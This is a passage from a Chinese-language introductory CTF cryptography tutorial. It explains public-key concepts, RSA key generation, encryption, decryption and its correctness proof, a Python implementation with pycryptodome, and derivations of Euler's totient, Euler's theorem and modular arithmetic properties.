&lt;p&gt;显然，依靠传统的对称密码我们没办法做到这两点，因为传统对称密码需要事先约定使用某个特定的密码进行通信。此时我们考虑这样一个加密算法，它拥有两组密钥&lt;/p&gt;
&lt;p&gt;&lt;em&gt;公开密钥Pk（Public key）&lt;/em&gt;：又称公钥，可以公开给所有人进行存储。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;私有密钥Sk（Secret key）&lt;/em&gt;：又称私钥，只能是发送者自己保存。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果我们规定&lt;strong&gt;加密&lt;/strong&gt;时使用&lt;strong&gt;公钥&lt;/strong&gt;，&lt;strong&gt;解密&lt;/strong&gt;时使用&lt;strong&gt;私钥&lt;/strong&gt;，那么似乎我们的第一个问题中的放窃取便有了解决方案&lt;/p&gt;
&lt;p&gt;我Xenny要给Soar发送信息，此时我只需要获取Soar的公开密钥（因为这会公开给所有人），然后用这个&lt;strong&gt;公钥&lt;/strong&gt;将我们的信息进行加密，再发送给Soar即可，Soar收到信息后只需要用自己的&lt;strong&gt;私钥&lt;/strong&gt;解密即可。&lt;/p&gt;
&lt;p&gt;为什么？&lt;/p&gt;
&lt;p&gt;考虑此时有一个中间节点获取了我们的信息，但是他只能得到加密的信息，而解密则需要私钥，故他没有窃取我们的消息。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;那么如何保证可信呢，这里其实属于数字签名的内容，在后续的课程中我们会详细介绍各类签名、认证算法，那么在这里我们可以稍作提及，其实我们只需要使用私钥对数据进行签名，用公钥进行验签即可。&lt;/p&gt;
&lt;p&gt;此处若不能理解如何操作，可以暂时不用深究。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;RSA&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在刚才的内容中，我们提到了非常多的新名词&lt;/p&gt;
&lt;p&gt;公钥、私钥、非对称、签名等等...&lt;/p&gt;
&lt;p&gt;但我们如何实现这种算法呢，让我们回到本节内容的重点——RSA算法上，RSA 是 1977 年由罗纳德 · 李维斯特（Ron Rivest）、阿迪 · 萨莫尔（Adi Shamir）和伦纳德 · 阿德曼（Leonard Adleman）一起提出的。RSA 就是他们三人姓氏开头字母拼在一起组成的。&lt;/p&gt;
&lt;p&gt;整个密码学的基石都是基于一些数学难题，以RSA算法为例，其基于大整数分解难题（IFP），目前来说我们并没有什么有效的办法对一个极大整数做因式分解，再多的优化在极大整数面前都与爆破无异，这保障了RSA的安全性。&lt;/p&gt;
&lt;p&gt;接下来我们将学习RSA是如何工作的&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;生成公私钥&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;选取两个不同的大&lt;strong&gt;素数&lt;/strong&gt; $ p $ 和 $ q $ ，计算 $ N=p\cdot q $ 。&lt;/li&gt;
&lt;li&gt;求&lt;strong&gt;欧拉函数&lt;/strong&gt;值 $ \varphi(N) = \varphi(p)\varphi(q) = (p-1)(q-1) $。&lt;/li&gt;
&lt;li&gt;选择一个小于 $ \varphi(N) $ 的整数 $ e $ ，并且满足 $ e $ 和 $ \varphi(N) $ &lt;strong&gt;互质&lt;/strong&gt;，求得 $ e $ 在模 $ \varphi(N) $ 意义下的&lt;strong&gt;乘法逆元&lt;/strong&gt; $ d $ ，有 $ ed\equiv 1\pmod{\varphi(N)} $。&lt;/li&gt;
&lt;li&gt;销毁 $ p $ 和 $ q $ 。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;此时有 $ (N, e) $ 为公钥， $ (N, d) $ 为私钥。&lt;/p&gt;
&lt;p&gt;可能此时你便已经开始看不懂了，没关系，让我们一一拆分解释，值得注意的是，你会发现不同的资料上的表述可能都不太一样，例如“素”和“质”的区分，实际上，这些内容因为在目前我们无须深究，所以只需要了解其含义即可，再之后的教程中我们会学习各类算法在不同环、域上的扩展，此时我们再来深究其数学意义。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;互质&lt;/strong&gt;：两个正整数只有一个公因数1时，则称其为互质。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;欧拉函数 $ \varphi(N) $&lt;/strong&gt;：小于或等于 $ N $ 的正整数中与 $ N $ 互质的数的数目&lt;/p&gt;
&lt;p&gt;若 $ p $ 为素数，则 $ \varphi(p)=p-1 $ (因为每一个小于 $ p $ 的数都与 $ p $ 互质。)&lt;/p&gt;
&lt;p&gt;又有若 $ N = p\cdot q $ ，则 $ \varphi(N) = \varphi(p)\varphi(q) $。这里涉及到欧拉函数性质和计算方式，我们不在此深究，感兴趣的同学可以从 $ N $ 中有哪些和 $ N $ 不互质的数来进行推导本公式。&lt;/p&gt;
&lt;p&gt;由此我们有在RSA中，$ \varphi(N) = (p-1)(q-1) $。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;乘法逆元&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;在加法中，我们有$ a + (-a) = 0 $，我们称其互为相反数。
在乘法中，我们有$ a \cdot (1/a) = 1 $，我们称其互为倒数。
在矩阵中，我们有$ M \cdot M^{-1} = E $，我们称其为逆矩阵。&lt;/p&gt;
&lt;p&gt;但是其实我们可以用一个统一的称呼：&lt;strong&gt;逆元&lt;/strong&gt;，即某种运算下的逆元素，我们会发现，元素和其逆元素进行运算之后总是一个定值，实际上在代数中，他们构成了一个群（不用深究），而我们进行要了解则是在模意义下的乘法逆元。&lt;/p&gt;
&lt;p&gt;在模 $ p $ 意义下，指的是后续的所有运算都是在模 $ p $ 的条件下满足，例如 $ 3\cdot4 \not= 1 $&lt;/p&gt;
&lt;p&gt;但 $ (3\cdot 4)\bmod 11 = (1)\bmod 11 $，对于这种式子我们称其为&lt;strong&gt;同余式&lt;/strong&gt;，并且有专门的同余符号进行表示&lt;/p&gt;
&lt;p&gt;$$
3\cdot4 \equiv 1\pmod{11}
$$&lt;/p&gt;
&lt;p&gt;所以参考上面乘法中的逆元运算规则，在模意义下则有&lt;/p&gt;
&lt;p&gt;$$
a\cdot a^{-1} \equiv 1\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;我们称 $ a $ 和 $ a^{-1} $ 互为在模 $ p $ 意义下的乘法逆元。例如上述中的 3 与 4 互为在模 11 下的乘法逆元。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;至此你应该能够理解上述内容中的各项式子代表何意，那么如何用这些数字来进行加解密呢，我们继续往下学习。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;加密&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;RSA算法本质上都是基于数学运算，在加密时我们需要先将消息转化为一个数字 $ m $（例如消息ASCII码的二进制排列转为数字），然后有&lt;/p&gt;
&lt;p&gt;$$
c \equiv m^e \pmod{N}
$$&lt;/p&gt;
&lt;p&gt;此时得到的 $ c $ 便是我们的密文。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;解密&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;加密时我们只用到了公钥 $ (N, e) $，同理解密时我们也只需用到私钥 $ (N, d) $。有&lt;/p&gt;
&lt;p&gt;$$
m \equiv c^d \pmod{N}
$$&lt;/p&gt;
&lt;p&gt;此时得到的 $ m $ 便是我们的明文消息。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;正确性证明&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;也许此时你不明白为什么 $ m $ 能经过不同的两次幂运算后会得到原始值，这其实就是为什么RSA中要用到欧拉函数，&lt;strong&gt;如果你还不能够理解上面的一切，下面的正确性证明可以先略过，不要给自己徒增压力&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;转换为证明&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
m &amp;amp;\equiv c^d \
&amp;amp;\equiv (m^e)^d \
&amp;amp;\equiv m^{ed} \pmod{N}
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;又有 $ ed\equiv 1\pmod{\varphi(N)} $，即$ ed = 1 + k\varphi(N) $。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;若$ gcd(m, N) = 1 $，则$ m^{ed} \equiv m^{ed-1}\cdot m\equiv m^{k\varphi(N)}\cdot m \equiv m\pmod{N} $。原始得证。（中间涉及到欧拉定理 $ a^{\varphi(n)}\equiv 1\pmod{n} $）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;若$ gcd(m, N) \not= 1 $，则 $ m $ 为 $ p $ 或 $ q $ 的整数，设 $ m=hp $，有&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
m^{ed} &amp;amp;\equiv m^{ed-1}\
&amp;amp;\equiv m^{k(p-1)(q-1)}\cdot m\
&amp;amp;\equiv (1+xq)\cdot m\
&amp;amp;\equiv m + xq\cdot hp \
&amp;amp;\equiv m \pmod{N}
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;其中&lt;/p&gt;
&lt;p&gt;$$
m^{k(p-1)(q-1)} = (m^{k(p-q)})^{q-1} = 1 + xq
$$&lt;/p&gt;
&lt;p&gt;原式得证。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;ul&gt;
&lt;li&gt;至此，我们用尽可能用简洁的内容将RSA的原理与作用简单描述了一遍，接下来我们便要开始正式进入CTF中的RSA算法学习了。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Python实现RSA&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;上一节我们发现RSA无外乎就是那几个参数之间的运算，而我们要做的便是使用Python实现这些算式，首先我们要做的第一步是&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;生成两个大素数$ P $，$ Q $。&lt;/p&gt;
&lt;p&gt;这是一个很模糊的概念，我希望各位在学习中能够做到尽量严谨，很显然，这里定义的&lt;code&gt;大素数&lt;/code&gt;到底多大才是大呢？&lt;/p&gt;
&lt;p&gt;10算大吗？100算吗？10000算吗？葛立恒数算吗？&lt;/p&gt;
&lt;p&gt;我们需要一个更加精确的说法，我们生成两个512位的素数（这里包括之后的内容中涉及到的&lt;code&gt;位&lt;/code&gt;都是指二进制位而不是十进制），那么如何使用Python产生一个素数呢，如果不借助任何外力的情况，我们可以从1开始选择，2，3，4......直到某个数满足512位且为素数为止，但是既然我们都使用Python了，为何还要这样做呢？&lt;/p&gt;
&lt;p&gt;让我们来使用Python强大的开源库&lt;code&gt;pycryptodome&lt;/code&gt;，一般来说你只需要使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip3 install pycryptodome
# 或
python3 -m pip install pycryptodome
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;便可以成功安装，然后在Python环境中执行以下代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import Crypto
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果没有显示&lt;code&gt;ModuleNotFoundError：&lt;/code&gt;等诸如此类的错误话，那么恭喜你成功的安装了本库。这里你可能会奇怪为什么安装使用pycryptodome，而引入时使用&lt;code&gt;Crypto&lt;/code&gt;，这涉及到这的库和其他库的一些联系，有兴趣的可以自行去查找。&lt;/p&gt;
&lt;p&gt;然后我们就可以生成素数了，我们引入库中的子包&lt;code&gt;Crypto.Util.number&lt;/code&gt;，这个子包中包含了大量的数学工具，之后我们会经常用到这个子包。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
p = getPrime(512)
q = getPrime(512)
print(p)
print(q)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行上面的代码，你便可以得到两个512位的素数，这依赖于我们调用了包中的&lt;code&gt;getPrime&lt;/code&gt;函数，它能够返回一个&lt;code&gt;n&lt;/code&gt;位的素数，其中&lt;code&gt;n&lt;/code&gt;是我们的传入参数。至此我们便完成了RSA的第一步。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$ n=p\cdot q,\ \varphi(n) = (p-1)(q-1) $&lt;/p&gt;
&lt;p&gt;后续的过程便简单了很多，我们只需要在之前的基础上完成运算即可，添加下列代码并执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n = p*q
phi = (p-1)*(q-1)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选取与$ \varphi(n) $互素的$ e $，计算满足$ ed\equiv 1\pmod{\varphi(n)} $&lt;/p&gt;
&lt;p&gt;这里我们要完成两个数学操作，一个是互素的判断，一个是求解e的乘法逆元。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;e = 65537
assert GCD(e, phi) == 1, &quot;该e不满足互素条件&quot;
d = inverse(e, phi)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里&lt;code&gt;GCD&lt;/code&gt;函数能够求解最大公因数（Greatest Common Divisor），之前我们学习了互素的概念就是两个数的最大公因数为1，所以这里我们用断言表达式认定$ e $一定是和$ phi $互素的。为什么我们要选择&lt;code&gt;65537&lt;/code&gt;作为&lt;code&gt;e&lt;/code&gt;呢，实际上这并不是硬性规定，一些标准提供了一些$ e $的参考值，65537在各类实现与标准中被广泛使用，但是这并不影响你可以将值改变为其他值进行后续的操作。
求d的过程中，我们使用了&lt;code&gt;inverse&lt;/code&gt;函数，该函数有两个参数&lt;code&gt;(a,p)&lt;/code&gt;，作用便是求解&lt;code&gt;a&lt;/code&gt;在模&lt;code&gt;p&lt;/code&gt;意义下的乘法逆元，那么这里我们便是求解&lt;code&gt;e&lt;/code&gt;在模&lt;code&gt;phi&lt;/code&gt;下面的乘法逆元，结果为&lt;code&gt;d&lt;/code&gt;。之前我们提到了逆元是互为逆元，所以你可以尝试下面的代码&lt;/p&gt;
&lt;p&gt;&lt;code&gt;print(inverse(d, phi) == e)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;打印的结果将为&lt;code&gt;True&lt;/code&gt;，从这里我们也可以看出在RSA中的关键点便是获取这个&lt;code&gt;phi&lt;/code&gt;的值，因为得到的&lt;code&gt;phi&lt;/code&gt;我们便可以求&lt;code&gt;e&lt;/code&gt;或&lt;code&gt;d&lt;/code&gt;的值，而这正是我们加解密的密钥参数。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$ (n, e) $即为公钥，$ (n, d) $即为私钥，此时我们便得到了一组RSA的公私钥，随后我们便可以开始用这组密钥来进行加解密操作。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;加密：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;假设我们要加密的消息为&lt;code&gt;Hello&lt;/code&gt;，我们定义一个字符串进行存储&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;message = b&apos;hello&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意这里我们定义的是一个&lt;code&gt;bytes&lt;/code&gt;类型字符串，它将每个字符用8位二进制进行存储，是字符串最原生的存储形式。你也可以直接定义&lt;code&gt;&apos;hello&apos;&lt;/code&gt;，但在Python3中它是一个Unicode的字符串，需要进行编码操作才能转换为&lt;code&gt;bytes&lt;/code&gt;类型进行后续的运算。&lt;/p&gt;
&lt;p&gt;但我们在RSA中是数与数的运算，该如何将字符串参与操作呢？&lt;/p&gt;
&lt;p&gt;我们使用包中的&lt;code&gt;bytes_to_long&lt;/code&gt;函数，从函数名也可以猜出来，这个函数是将字符串转换为数字，运行下列代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;m = bytes_to_long(message)
print(m)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，我们的消息已经被转换为一个字符串了。随后我们便可以对消息进行RSA加密&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c = pow(m, e, n)
print(c)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们使用Python自带的&lt;code&gt;pow&lt;/code&gt;函数进行幂运算，注意不要写成&lt;code&gt;m**e % n&lt;/code&gt;，二者代表的意义相同，但是&lt;code&gt;pow&lt;/code&gt;函数内置快速幂，可以快速得出结果，而&lt;code&gt;m**e % n&lt;/code&gt;会将$ m^e $的结果先计算出来再取模，$ m^e $是一个非常大的数，这会消耗你计算机大量的运算和存储资源。&lt;/p&gt;
&lt;p&gt;至此，我们便完成了加密过程，得到了RSA的密文C。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解密：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msg = pow(c, d, n)
print(msg)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我们便完成了RSA的解密操作，随后你可以比较一下&lt;code&gt;msg&lt;/code&gt;和&lt;code&gt;m&lt;/code&gt;的值，他们会是一样的。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;完整代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
p = getPrime(512)
q = getPrime(512)

n = p*q
phi = (p-1)*(q-1)
e = 65537
assert GCD(e, phi) == 1, &quot;该e不满足互素条件&quot;
d = inverse(e, phi)

print(f&apos;公钥：({e}, {n})&apos;)
print(f&apos;私钥：({d}, {n})&apos;)

message = b&apos;hello&apos;
m = bytes_to_long(message)
print(&apos;消息：&apos;, m)

c = pow(m, e, n)
print(&apos;密文：&apos;, c)

msg = pow(c, d, n)
print(&apos;明文：&apos;, msg)

assert msg == m, &quot;解密失败&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;欧拉函数计算&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;之前我们已经介绍过欧拉函数的定义了&lt;/p&gt;
&lt;p&gt;$ \varphi(n) $为在小于$ n $的正整数中与$ n $互素的数的数目。&lt;/p&gt;
&lt;p&gt;此前我们只讨论了特殊的情况，当$ p $为素数时，有$ \varphi(p) = p-1 $，现在我们来讨论更一般的情况，当$ n $是一个双因子合数时&lt;/p&gt;
&lt;p&gt;$$
n = p\cdot q
$$&lt;/p&gt;
&lt;p&gt;我们考虑和$ n $不互素的数有&lt;/p&gt;
&lt;p&gt;$$
p, 2p, 3p, \cdots,(q-1)p,q,2q,3q,\cdots,(p-1)q
$$&lt;/p&gt;
&lt;p&gt;因为只有这些数和$ n $的最大公因数不为1，则欧拉函数值应该为$ n-1 $减去这些不互素的数的数目&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = (pq-1) - (q-1) - (p-1) = (p-1)(q-1)
$$&lt;/p&gt;
&lt;p&gt;显然对于三因子，多因子我们都可以得到上面的结论，即当&lt;/p&gt;
&lt;p&gt;$$
n = p_1p_2\cdots p_r
$$&lt;/p&gt;
&lt;p&gt;有&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = (p_1-1)(p_2-1)\cdots (p_r-1)
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;现在我们考虑因子阶不为1的情况，还是先从双因子数讨论&lt;/p&gt;
&lt;p&gt;$$
n = p^{k_1}q^{k_2}
$$&lt;/p&gt;
&lt;p&gt;此时，和$ n $不互素的数有&lt;/p&gt;
&lt;p&gt;$$
p, 2p, \cdots, (q^{k_2}-1)p, q, 2q,\cdots,(p^{k_1}-1)q
$$&lt;/p&gt;
&lt;p&gt;但我们会发现，上面的数中又可能会存在重复的数，例如&lt;/p&gt;
&lt;p&gt;$$
p, 2p, \cdots,qp,\cdots,2qp,\cdots,(q^{k_2}p^{k_1-1}-1)p\
q, 2q, \cdots,pq,\cdots,2pq,\cdots,(p^{k_1}q^{k_2-1}-1)q
$$&lt;/p&gt;
&lt;p&gt;显然这里的$ pq, 2pq $是同一个数，那有多少个重复的数呢，因为$ p $前面系数最大为$ q^{k_2}p^{k_1-1}-1 $，所以应该会出现$ \lfloor (q^{k_2}p^{k_1-1}-1)/q\rfloor = q^{k_2-1}p^{k_1-1}-1 $个带有$ q $的值，同理另一边会有$ \lfloor (p^{k_1}q^{k_2-1}-1)/p\rfloor = p^{k_1-1}q^{k_2-1}-1 $个带有$ p $的值，显然这两个数一致，则有$ p^{k_1-1}q^{k_2-1}-1 $个重复的值&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\varphi(n) &amp;amp;= (q^{k_2}p^{k_1}-1) - (q^{k_2}p^{k_1-1}-1) - (p^{k_1}q^{k_2-1}-1) + (p^{k_1-1}q^{k_2-1}-1) \
&amp;amp;=q^{k_2}(p^{k_1}-p^{k_1-1})+q^{k_2-1}(p^{k_1-1}-p^{k_1})\
&amp;amp;=q^{k_2-1}(q(p^{k_1}-p^{k_1-1})-(p^{k_1}-p^{k_1-1})) \
&amp;amp;=q^{k_2-1}(p^{k_1}-p^{k_1-1})(q-1) \
&amp;amp;=q^{k_2-1}(q-1)\cdot p^{k_1-1}(p-1)
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;同样的方法我们可以得到任意的&lt;/p&gt;
&lt;p&gt;$$
n = p_1^{k_1}p_2^{k_2}\cdots p_r^{k_r}
$$&lt;/p&gt;
&lt;p&gt;时&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = p^{k_1-1}(p-1)\cdots p_r^{k_r-1}=\prod_{i=1}^r{p_i^{k_i-1}(p_i-1)}
$$&lt;/p&gt;
&lt;p&gt;其实这里推多阶我们还可以用另一个思路考虑，我们考虑每个因子$ p $来带的互素系数的个数，也就是上面的每一个与$ n $不互素的数其实都是这些系数的排列组合，例如一阶时的&lt;/p&gt;
&lt;p&gt;$$
p, 2p, 3p, \cdots,(q-1)p,q,2q,3q,\cdots,(p-1)q
$$&lt;/p&gt;
&lt;p&gt;其实是$ p-1 $个系数和$ q-1 $个因子的组合，同理二阶中不互素的数我们转换为&lt;/p&gt;
&lt;p&gt;$$
1\cdot n/p^{k_1},2\cdot n/p^{k_1},\cdots,p^{k_1-1}(p-1)\cdot n/p^{k_1}\
1\cdot n/q^{k_2},2\cdot n/q^{k_2},\cdots,q^{k_2-1}(q-1)\cdot n/q^{k_2}
$$&lt;/p&gt;
&lt;p&gt;为什么？因为我们把$ n/p^{k_1} $看作一个整体，这个数是和$ n $不互素的一个数（因为有其他因子），这个整体乘上其他系数也一定不互素，最多有多少个系数呢？有$ p^{k_1-1}(p-1) $个（再加1乘上去就是$ n $了）。&lt;/p&gt;
&lt;p&gt;所以其实从系数排列组合的角度我们还可以同样的结论，得到对于&lt;/p&gt;
&lt;p&gt;$$
n = p_1^{k_1}p_2^{k_2}\cdots p_r^{k_r}
$$&lt;/p&gt;
&lt;p&gt;有&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = \prod_{i=1}^r{p_i^{k_i-1}(p_i-1)}
$$&lt;/p&gt;
&lt;p&gt;这个式子很重要，我们一定要记得欧拉函数值该怎么求。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;欧拉函数性质&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;欧拉函数在数论中有广泛的运用，在此我们并不会讨论完所有关于欧拉函数的性质，只会重点讲解一些于CTF中涉及的性质。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;积性函数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;积性函数：对于任意互质的整数 a和b有性质f (ab)=f (a)f (b)的 数论函数 。
完全积性函数：对于任意整数 a和b有性质f (ab)=f (a)f (b)的 数论函数 。&lt;/p&gt;
&lt;p&gt;显然欧拉函数属于积性函数，因为其值来自每一个因子的乘积，而每个系数刚好又是每个因子的欧拉值，即&lt;/p&gt;
&lt;p&gt;$$
\varphi(p^{k_1}q^{k_2}) = \varphi(p^{k_1})\varphi(q^{k_2})
$$&lt;/p&gt;
&lt;p&gt;这个性质可以推广到$ r $个因子中，即&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = \varphi(p_1^{k_1})\varphi(p_2^{k_2})\cdots \varphi(p_r^{k_r})
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;欧拉定理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;若$ (a,m) = 1 $（我们一般用$ (a,b) $代表$ \gcd(a,b) $），则有$ a^{\varphi(m)}\equiv 1\pmod{m} $。&lt;/p&gt;
&lt;p&gt;欧拉定理我们可以用如下思路证明，设小于$ m $中与$ m $不互素的数集为&lt;/p&gt;
&lt;p&gt;$$
s = {x_1,x_2,\cdots,x_{\varphi(m)}}
$$&lt;/p&gt;
&lt;p&gt;他们中任意两个值都满足（因为值本身不相等）&lt;/p&gt;
&lt;p&gt;又$ a $与$ m $互素，我们可知有&lt;/p&gt;
&lt;p&gt;$$
(ax_i,m) = 1
$$&lt;/p&gt;
&lt;p&gt;因为他们中间不包含任何除1以外的公因子，那么此时我们有&lt;/p&gt;
&lt;p&gt;$$
ax_i\equiv x_j\pmod{m},\ (x_i,x_j \in s)
$$&lt;/p&gt;
&lt;p&gt;什么意思呢？就是说$ ax_i $模$ m $的余数（设为$ r $）$ r $一定在集合$ s $中，这里大家应该能理解，因为$ s $中是所有小于$ m $且和$ m $互素的数，又$ r $也和$ m $互素，所以$ r $一定在$ s $中。并且我们还可以证明&lt;/p&gt;
&lt;p&gt;$$
ax_i\not \equiv ax_j\pmod{m}
$$&lt;/p&gt;
&lt;p&gt;这里可以用反证法，如果他们同余，则说明$ a(x_i-x_j)\equiv 0 \pmod{m} $，说明$ a|m $或者$ (x_i-x_j)|m $，（$ a|b $代表$ a $整除$ b $）而这显然是和互素矛盾的。&lt;/p&gt;
&lt;p&gt;进一步的我们可以得到&lt;/p&gt;
&lt;p&gt;$$
x_1x_2\cdots x_{\varphi(m)} \equiv ax_1\cdot ax_2\cdots ax_{\varphi(m)}\pmod{m}
$$&lt;/p&gt;
&lt;p&gt;这又是为何，因为我们不需要关心$ ax_i $的余数到底是哪个$ x_j $，我们只需要知道$ a $和不同的$ x_i $得到的余数各不相同即可，那么$ \varphi(m) $个相乘也会得到不同的$ \varphi(m) $个值，也就是覆盖了集合$ s $。&lt;/p&gt;
&lt;p&gt;两边消项，有&lt;/p&gt;
&lt;p&gt;$$
1\equiv a^{\varphi(m)}\pmod{m}
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;扩展欧拉定理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们也称其为欧拉降幂，指的是&lt;/p&gt;
&lt;p&gt;$$
a^b \equiv \begin{cases}
a^{b\bmod{\varphi(m)}},&amp;amp;(a,m)=1,\
a^b,&amp;amp;(a,m)\not = 1,b &amp;lt; \varphi(m),\
a^{b\bmod{\varphi(m)}+\varphi(m)},&amp;amp;(a,m)\not = 1,b\ge \varphi{m}.
\end{cases} \pmod{m}
$$&lt;/p&gt;
&lt;p&gt;即我们可以将幂指数模$ \varphi(m) $后处理，这里的证明可以参考&lt;a href=&quot;https://oi-wiki.org/math/number-theory/fermat/#%E6%89%A9%E5%B1%95%E6%AC%A7%E6%8B%89%E5%AE%9A%E7%90%86&quot;&gt;OI-wiki&lt;/a&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;模运算性质&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;同余&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;若$ a\bmod p = b\bmod p $，则称$ a $与$ b $在模$ p $意义下同余，记作&lt;/p&gt;
&lt;p&gt;$$
a\equiv b\pmod{p}
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对称性&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$ a\equiv b\pmod{p} $等价于$ b\equiv a\pmod{p} $。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;传递性&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;若$ a\equiv b\pmod{p} $且$ b\equiv c\pmod{p} $，则$ a\equiv c\pmod{p} $&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;结合律&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$ ((a+b)\bmod p+c)\bmod p = (a+(b+c)\bmod p)\bmod p $&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;交换律&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$ (a+b)\bmod p = (b+a)\bmod p $&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;分配律&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$ (((a+b)\bmod p)\cdot c)\bmod p = (ac\bmod p + bc\bmod p)\bmod p $&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;同时取模运算和四则运算类似，有一点例外是除法，你会发现我们所涉及的所有数都是正整数，我们不关心分数和负数，在整数模运算中，除一个数应该写（说）成&lt;strong&gt;乘上该数的逆元素&lt;/strong&gt;。&lt;/li&gt;
